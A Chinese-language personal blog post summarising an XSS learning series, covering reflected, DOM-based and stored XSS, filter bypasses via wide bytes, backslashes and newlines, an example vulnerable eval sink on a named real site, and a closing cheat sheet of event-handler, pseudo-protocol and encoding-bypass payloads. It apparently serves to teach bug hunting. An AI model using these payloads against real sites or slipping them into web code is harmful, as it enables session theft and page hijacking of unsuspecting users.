目录
  1. 1. 那些年我们一起学XSS
    1. 1.1. 什么都没过滤的入门情况
    2. 1.2. 输出在之间的情况
    3. 1.3. 输出在HTML属性里的情况
    4. 1.4. 宽字节复仇记
    5. 1.5. 反斜线复仇记
    6. 1.6. 换行符复仇记
    7. 1.7. 宽字节、反斜线与换行符一起复仇记
    8. 1.8. Dom Xss入门 [显式输出]
    9. 1.9. Dom Xss入门 [隐式输出]
    10. 1.10. Dom Xss进阶 [邂逅eval]
    11. 1.11. Dom Xss进阶 [善变iframe]
    12. 1.12. 存储型XSS入门 [什么都没过滤的情况]
    13. 1.13. Flash XSS
  2. 2. 小结
    1. 2.1. payload
      1. 2.1.1. 无过滤
      2. 2.1.2. javascript伪协议
      3. 2.1.3. 有过滤
      4. 2.1.4. hidden 标签
      5. 2.1.5. 编码绕过
    2. 2.2. 心得
那些年我们一起学 XSS 小结

那些年我们一起学XSS

心伤的瘦子腾讯实例教程链接

什么都没过滤的入门情况

挖掘流程:在一个URL的众多参数中,一个一个的测试, 发现其中一个参数没有经过过滤,输入是什么,输出就是什么, 直接输入 HTML 标签便可以利用。

我们要看哪些点?

  1. <,>是否被转义
  2. 单引号,双引号是否被转义
  3. /可用吗

防御:过滤 <>

—分割线—

一般反射型xss我是没有遇到过什么都没过滤的,存储型的倒是有一些地方过滤不严格(如个人信息处),可以直接<script>alert(1);</script>就打出xss

输出在之间的情况

挖掘流程:也是在url中进行的大量的测试,发现输入和输出都未过滤的一个点。但是是蕴含在 <script> 标签中的

遇见这种情况怎么办?先测试: 是否过滤了 <, >, /等符号

两种情况如下

  1. 什么都没有过滤——》直接XSS,先用</script>标签闭合上一个 <script>, 接着自己重新写标签 <script>alert(1)</script>就ok了
  2. 过滤了 <, >之后 ——》 利用当前的环境,插入你能所想到的一切的内容,使得这一段javascript依然【语法正确】,能够【正确执行】,并且能够执行【我们所插入的JS代码】,这样我们的目的就达到了

输出在HTML属性里的情况

输出在两个标签之间的情况在大网站不怎么常见了,所以挖洞要找的是输出在HTML属性里的情况。

栗子

http://xxxx.com/search.php?word=乌云欢迎您

.. 关键词:<input type="text" value="乌云欢迎您" />

当没有过滤双引号的时候,就先闭合 value标签,再添加一个事件如: <input type="text" value="乌云欢迎您" onclick="alert(1)" />

当双引号被过滤:

  1. 输出在了 <body style="[这里]"> , 且没有对反斜线\ 进行过滤,在css里,允许使用转义字符, \ + ascii16进制形式。
  2. <HTML标签 onXXXX="...[输出在这里]..">的例子 和<a href="javascript:[输出在这里]">xxxx </a> 的例子。Tips:在HTML属性中,会自动对实体字符进行转义。一个简单的比方: <img src="1" onerror="alert(1)"><img src="1" onerror="alert&#x28;1&#x29;">是等效的.换言之,只要上面的情况,没有过滤 &,# 等符号,我们就可以写入任意字符。

—分割线—

一般挖洞的时候我遇到的这种情况都是先看一下双引号,单引号有没有过滤,过滤了就基本上不bypass了,因为现在几乎都是utf-8编码,而且过滤严格,如果单双引号没过滤还能继续玩其实(过滤了就放弃吧QAQ

宽字节复仇记

当想利用 "闭合某些属性时,发现被过滤了。

查看一下编码格式,如:<meta http-equiv="Content-Type" content="text/html; charset=gb18030" />这类的编码,则尝试使用宽字节来闭合掉双引号,再执行我们想要执行的JavaScript代码

—分割线—

很少的没遇到过

反斜线复仇记

前提:双引号是用不了, 但是 反斜线还可以使用。

缺陷部分是:location.href="........."+"&ss=aaaa"+"&from=bbb"+"&param=";//后面省略。

核心思路:用 \吃掉双引号,后续因为涉及到了一些过滤,所以还需要绕过balabala的…

换行符复仇记

先经过测试,发现页面内输出的结果中都过滤了 <>" 等符号

突破点:在一段注释中发现了要输出的结果,而且没有过滤换行符 %0a

所以直接输入 %0aalert(1);//会导致

//我是注释xxxxxxxxx[我是输出  换行符
alert(1);//我是输出]

宽字节、反斜线与换行符一起复仇记

经过查找发现有三处有输出,第一处的双引号被灭掉了,还剩下两处都是在注释里面,且在<script>标签里面

用换行符 %0a 逃逸出了注释

var  a="我是一个字符串\
我还是一个字符串";
alert(a);

构造多行,但是由于第一行构造的时候需要一个反斜线,但是直接加反斜线会再添加一个反斜线

查看网页编码发现是 gbxxx 格式的编码,故利用宽字节吃掉反斜线

最终实现弹窗

Dom Xss入门 [显式输出]

关注的不仅是【输出】了什么,还要了解这个页面里,【javascript】拿这个【输出】干了什么

这节内容是 【输出】直接在源代码可见的情况。

(直接F12就ok了

<div id="a">xxx</div>
<script>
document.getElementById("a").innerHTML=" <img src=1> ";
</script>

运行了就是个小图,更改payload可弹出xss

Dom Xss入门 [隐式输出]

和原来的直接右键查看源代码不同,这次选择F12(Chrome为例),查看源代码,并且可以直接在里面进行搜索

还是根据过滤采取相对应的绕过(看代码的逻辑

Dom Xss进阶 [邂逅eval]

显式输出和隐式输出。但是不论怎么样,因为最终javascript都会通过document.write或innerHTML将内容输出到网页中,所以我们总是有办法看到输出到哪里。 但是有时候,我们的输出,最终并没有流向innerHTML或document.write,而是与eval发生了邂逅,我们该怎么挖掘并利用呢

特点:搜索源代码和调试工具都看不到任何东西。

操作:尽可能的在后面加上特殊符号,使其报错,然后再控制台的Console里面查看错误,定位到语句

URL为:http://kf.qq.com/search_app.shtml?key=aaaaa

出问题的代码

var getarg = function()
{
var url = window.location.href;
var allargs = url.split("?")[1];
if (allargs!=null && allargs.indexOf("=")>0)
{
var args = allargs.split("&");
for(var i=0; i<args.length; i++)
{
var arg = args[i].split("=");
eval('this.'+arg[0]+'="'+arg[1]+'";');
}
}
};

代码的大致功能是获得地址栏参数的代码。

构造前面的key http://kf.qq.com/search_app.shtml?key;alert(1);//=aaaa

弹窗

构造后面的值 http://kf.qq.com/search_app.shtml?key=aaa";alert(1);//

弹窗

【IE可运行,chrome会被编码】

Dom Xss进阶 [善变iframe]

iframe 元素会创建包含另外一个文档的内联框架(即行内框架)。

一些payload

1.1 最好懂的,onload执行js
<iframe onload="alert(1)"></iframe>

1.2 src 执行javascript代码
<iframe src="javascript:alert(1)"></iframe>

1.3 IE下vbscript执行代码
<iframe src="vbscript:msgbox(1)"></iframe>

1.4 Chrome下data协议执行代码
<iframe src="data:text/html,<script>alert(1)</script>"></iframe> Chrome

1.5 上面的变体
<iframe src="data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>

1.6 Chrome下srcdoc属性
<iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>

在栗子中的代码有一段话

function OpenFrame(url) {
if (url.toLowerCase().indexOf('http://') != '-1' || url.toLowerCase().indexOf('https://') != '-1' || url.toLowerCase().indexOf('javascript:') != '-1') return false;
document.getElementById("toolframe").src = url;
}

过滤了 javascript 这个payload

所以采用其他伪协议绕过

危险的不光是javascript:,vbscript:, data: 等同样需要过滤。

存储型XSS入门 [什么都没过滤的情况]

什么都没过滤的挖掘技巧

先找到输出点,然后猜测此处输出是否会被过滤。——》如果觉得可能没过滤,我们再找到这个输出是在哪里输入的。——》接着开始测试输入,看输出的效果。——》如果没过滤,那么你就成功了,否则你可以放弃掉它。

Flash XSS

HTML5的年代,Flash不是被淘汰了吗(其实还是因为懒,不想学…

小结

payload

参考自:https://xz.aliyun.com/t/4067#toc-8

无过滤

<scirpt>
<scirpt>alert("xss");</script>

<img>
<img src=1 onerror=alert("xss");>

<input>
<input onfocus="alert('xss');">

<details>
<details open ontoggle="alert('xss');">

<svg>
<svg onload=alert("xss");>

<select>
<select onfocus=alert(1) autofocus>

<iframe>
<iframe onload=alert("xss");></iframe>

<video>
<video><source onerror="alert(1)">

<audio>
<audio src=x onerror=alert("xss");>

<body>
<body/onload=alert("xss");>
利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发
<body
onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

<textarea>
<textarea onfocus=alert("xss"); autofocus>

<keygen>
<keygen autofocus onfocus=alert(1)> //仅限火狐

<marquee>
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以

<isindex>
<isindex type=image src=1 onerror=alert("xss")>//仅限于IE

javascript伪协议

<a>标签
<a href="javascript:alert(`xss`);">xss</a>

<iframe>标签
<iframe src=javascript:alert('xss');></iframe>

<img>标签
<img src=javascript:alert('xss')>//IE7以下

<form>标签
<form action="Javascript:alert(1)"><input type=submit>

有过滤

过滤空格 ——》用/代替空格 ——》 <img/src="x"/onerror=alert(1);>

过滤关键字 ——》 大小写混写or双写

过滤双引号,单引号 ——》html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号

字符拼接

利用eval

<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">


利用top

<script>top["al"+"ert"](`xss`);</script>

hidden 标签

<input type="hidden" name="returnurl" value="[你输入的东西]" />

在onclick事件下,使用accesskey ,所以需要与用户交互

payload
<input type="hidden" value="accesskey="X" onclick="alert(1)"/>

按Alt+SHIFT+X 键触发xss

编码绕过

Unicode编码绕过
可以使用在线编码:http://ctf.ssleye.com/cencode.html

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

url编码绕过

<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

Ascii码绕过

<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hex绕过

<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

八进制

<img src=x onerror=alert('\170\163\163')>

base64绕过

<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

心得

输入与输出,输入与输出,输入与输出。重要的事情说三遍,一定是有了输入和输出,才能造成XSS攻击!

要有大量的测试,一定要有耐心

在JS字符串里, < 不光可以写为 \u003c,还可以写为\x3c, > 同样可以写为\x3e

要看源码,看过滤的规则,以及前后文中涉及到的参数的处理,看是否能进行绕过

文章作者: P2hm1n
文章链接: http://yoursite.com/2019/07/21/那些年我们一起学XSS小结/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 P2hm1n‘s Blog

评论